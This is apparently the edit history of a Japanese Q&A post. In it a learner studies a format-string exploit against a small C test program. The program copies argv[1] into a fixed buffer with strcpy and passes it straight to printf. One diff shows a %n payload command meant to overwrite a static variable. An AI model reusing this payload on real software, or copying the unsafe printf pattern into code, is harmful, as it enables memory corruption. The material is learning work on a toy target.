質問編集履歴

3

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

test CHANGED
File without changes
test CHANGED
@@ -1,8 +1,8 @@
1
- #include <stdio.h>
1
+ .#include <stdio.h>
2
2
 
3
- #include <stdlib.h>
3
+ .#include <stdlib.h>
4
4
 
5
- #include <string.h>
5
+ .#include <string.h>
6
6
 
7
7
 
8
8
 

2

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

test CHANGED
File without changes
test CHANGED
@@ -1,18 +1,42 @@
1
- int main(int argc, char *argv[]){
1
+ #include <stdio.h>
2
2
 
3
- char text[1024];
3
+ #include <stdlib.h>
4
4
 
5
- static int test_val = -72;
5
+ #include <string.h>
6
6
 
7
-
8
7
 
9
- strcpy(text, argv[1]);
10
8
 
11
- ......
9
+ int main(int argc, char *argv[]) {
12
10
 
13
- printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
11
+ char text[1024];
14
12
 
13
+ static int test_val = -72;
14
+
15
+ strcpy(text, argv[1]);
16
+
17
+
18
+
19
+ printf("正しい方法:\n");
20
+
21
+ printf("%s", text);
22
+
23
+
24
+
25
+ printf("\n誤った方法:\n");
26
+
27
+ printf(text);
28
+
29
+
30
+
31
+ printf("\n");
32
+
33
+
34
+
35
+ // Debug output
36
+
37
+ printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
38
+
15
- exit(0);
39
+ exit(0);
16
40
 
17
41
  }
18
42
 

1

修正

2016/11/26 07:29

投稿

strike1217
strike1217

スコア651

test CHANGED
File without changes
test CHANGED
@@ -54,7 +54,7 @@
54
54
 
55
55
 
56
56
 
57
- ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
57
+ ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
58
58
 
59
59
  これで書き換わるはずなのですが・・・・
60
60